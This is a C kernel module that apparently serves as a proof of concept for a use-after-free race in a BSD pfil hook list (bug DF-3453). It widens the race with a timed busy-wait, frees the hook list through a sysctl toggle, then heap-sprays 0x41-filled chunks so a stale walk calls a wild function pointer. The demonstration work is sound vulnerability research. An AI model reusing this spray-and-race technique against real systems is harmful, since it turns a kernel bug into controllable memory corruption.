/*
 * prhook.c -- pfil COW-list free race demonstrator (DF-3453)
 *
 * Registers two PFIL_OUT hooks (A always on, B toggled via sysctl).
 * Hook A busy-delays for multicast packets only, widening the window in
 * which a pfil_run_hooks() walk is "in flight" on a NON-netisr thread
 * (the softclock thread, driven by ip_mroute's tbf_reprocess_q callout).
 *
 * Toggling B off via `sysctl net.prhook.toggle=1` performs
 * pfil_remove_hook() -> COW list swap -> netmsg_service_sync() (which
 * only synchronizes with the netisr threads) -> pfil_list_free().
 * A softclock-thread walk that is inside A's delay at that moment
 * resumes on the FREED list; the module then sprays+frees same-size
 * M_IFADDR chunks (0x41-filled) on netisr0 so the stale TAILQ chain
 * leads to a wild pfh->pfil_func call -> page fault.
 *
 * The module stays loaded the whole time (no code unmap); this isolates
 * the pure data-structure UAF in pfil.c.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/mbuf.h>
#include <machine/atomic.h>
#include <sys/socket.h>

#include <net/if.h>
#include <net/if_var.h>
#include <net/pfil.h>
#include <net/netmsg2.h>
#include <net/netisr2.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>

static int pr_delay_ms = 150;
SYSCTL_INT(_net, OID_AUTO, prhook_delay_ms, CTLFLAG_RW, &pr_delay_ms, 0,
    "multicast busy delay in the A hook (ms)");

static int pr_state_b = 0;
static struct pfil_head *pr_ph;

/* instrumentation */
static long pr_n_delay;	/* times the 120ms park ran (softclock) */
static long pr_n_toggle;	/* COW mutations performed */
static long pr_n_spray_hit;	/* spray kmallocs that returned a freed pfil chunk */
static long pr_n_walk_probe;	/* tqh_first snapshots taken */

SYSCTL_LONG(_net, OID_AUTO, prhook_n_delay, CTLFLAG_RW, &pr_n_delay, 0, "");
SYSCTL_LONG(_net, OID_AUTO, prhook_n_toggle, CTLFLAG_RW, &pr_n_toggle, 0, "");
SYSCTL_LONG(_net, OID_AUTO, prhook_n_spray_hit, CTLFLAG_RW, &pr_n_spray_hit, 0, "");
SYSCTL_LONG(_net, OID_AUTO, prhook_n_walk_probe, CTLFLAG_RW, &pr_n_walk_probe, 0, "");
SYSCTL_INT(_net, OID_AUTO, prhook_state, CTLFLAG_RD, &pr_state_b, 0, "hook B state");

/* mirror of the private struct packet_filter_hook from pfil.c (36 bytes) */
struct pr_hook_mirror {
	struct pr_hook_mirror *tqe_next;	/* TAILQ_ENTRY */
	struct pr_hook_mirror **tqe_prev;
	int (*pfil_func)(void *, struct mbuf **, struct ifnet *, int);
	void *pfil_arg;
	int pfil_flags;
};

#define PR_SPRAY 24

static int
pr_delay_pkt(struct mbuf **mp)
{
	struct mbuf *m = *mp;
	struct ip *ip;
	int i;

	if (m == NULL || m->m_len < sizeof(struct ip))
		return 0;
	ip = mtod(m, struct ip *);
	if (ip->ip_v != IPVERSION || !IN_MULTICAST(ntohl(ip->ip_dst.s_addr)))
		return 0;
	/*
	 * Delay ONLY on the softclock thread (the non-netisr pfil walker
	 * this PoC targets); delaying netisr walks would livelock the
	 * network stack under load.
	 */
	if (strncmp(curthread->td_comm, "softclock", 9) != 0)
		return 0;
	atomic_add_long(&pr_n_delay, 1);
	for (i = 0; i < pr_delay_ms; i++)
		DELAY(1000);
	return 0;
}

static int
pr_hook_a(void *arg, struct mbuf **mp, struct ifnet *ifp, int dir)
{
	return pr_delay_pkt(mp);
}

static int
pr_hook_b(void *arg, struct mbuf **mp, struct ifnet *ifp, int dir)
{
	return pr_delay_pkt(mp);
}

/*
 * Runs on netisr0 (same CPU that ran pfil_list_free inside
 * pfil_remove_hook): drain the 36-byte M_IFADDR zone free chain,
 * scribble 0x41 over every chunk (including the just-freed hook
 * structs), then push them all back so the stale TAILQ chain leads
 * into poisoned memory.
 */
static void
pr_spray(void)
{
	void *p[PR_SPRAY];
	int i;

	for (i = 0; i < PR_SPRAY; i++) {
		p[i] = kmalloc(sizeof(struct pr_hook_mirror), M_IFADDR,
		    M_WAITOK | M_NULLOK);
		KKASSERT(p[i] != NULL);
		memset(p[i], 0x41, sizeof(struct pr_hook_mirror));
	}
	for (i = 0; i < PR_SPRAY; i++)
		kfree(p[i], M_IFADDR);
}

struct netmsg_prhook {
	struct netmsg_base base;
	int on;
};

static void
pr_toggle_dispatch(netmsg_t nmsg)
{
	struct netmsg_prhook *msg = (struct netmsg_prhook *)nmsg;
	void *probe1, *before_a, *before_b;

	KKASSERT(&curthread->td_msgport == netisr_cpuport(0));

	if (msg->on) {
		if (pr_state_b == 0) {
			pfil_add_hook(pr_hook_b, NULL, PFIL_OUT, pr_ph);
			pr_state_b = 1;
			atomic_add_long(&pr_n_toggle, 1);
		}
	} else {
		if (pr_state_b == 1) {
			/*
			 * Snapshot the live hook chunks we expect to be
			 * freed by the COW remove, then remove, then probe
			 * whether the allocator hands them straight back.
			 * (plain pointer reads: tqh_first / tqe_next are at
			 * offset 0 of their structures)
			 */
			before_a = *(void **)pr_ph->ph_out;
			before_b = *(void **)before_a;
			atomic_add_long(&pr_n_walk_probe, 1);

			pfil_remove_hook(pr_hook_b, NULL, PFIL_OUT, pr_ph);
			pr_state_b = 0;
			atomic_add_long(&pr_n_toggle, 1);

			probe1 = kmalloc(36, M_IFADDR, M_WAITOK | M_NULLOK);
			if (probe1 != NULL) {
				if (probe1 == before_a || probe1 == before_b)
					atomic_add_long(&pr_n_spray_hit, 1);
				kfree(probe1, M_IFADDR);
			}
			pr_spray();
		}
	}
	lwkt_replymsg(&nmsg->base.lmsg, 0);
}

static int
pr_sysctl_toggle(SYSCTL_HANDLER_ARGS)
{
	struct netmsg_prhook msg;
	int error, v = 0;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);

	netmsg_init(&msg.base, NULL, &curthread->td_msgport, 0,
	    pr_toggle_dispatch);
	msg.on = !pr_state_b;
	error = lwkt_domsg(netisr_cpuport(0), &msg.base.lmsg, 0);
	return (error);
}
SYSCTL_PROC(_net, OID_AUTO, prhook_toggle, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, pr_sysctl_toggle, "I",
    "toggle pfil hook B (COW add/remove mutation)");

static int
prhook_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		pr_ph = pfil_head_get(PFIL_TYPE_AF, AF_INET);
		if (pr_ph == NULL) {
			kprintf("prhook: no inet pfil head\n");
			return (ENODEV);
		}
		pfil_add_hook(pr_hook_a, NULL, PFIL_OUT, pr_ph);
		kprintf("prhook: A loaded (delay %d ms on mcast)\n", pr_delay_ms);
		return (0);
	case MOD_UNLOAD:
		pfil_remove_hook(pr_hook_a, NULL, PFIL_OUT, pr_ph);
		if (pr_state_b) {
			pfil_remove_hook(pr_hook_b, NULL, PFIL_OUT, pr_ph);
			pr_state_b = 0;
		}
		kprintf("prhook: unloaded\n");
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t prhook_mod = { "prhook", prhook_modevent, NULL };
DECLARE_MODULE(prhook, prhook_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
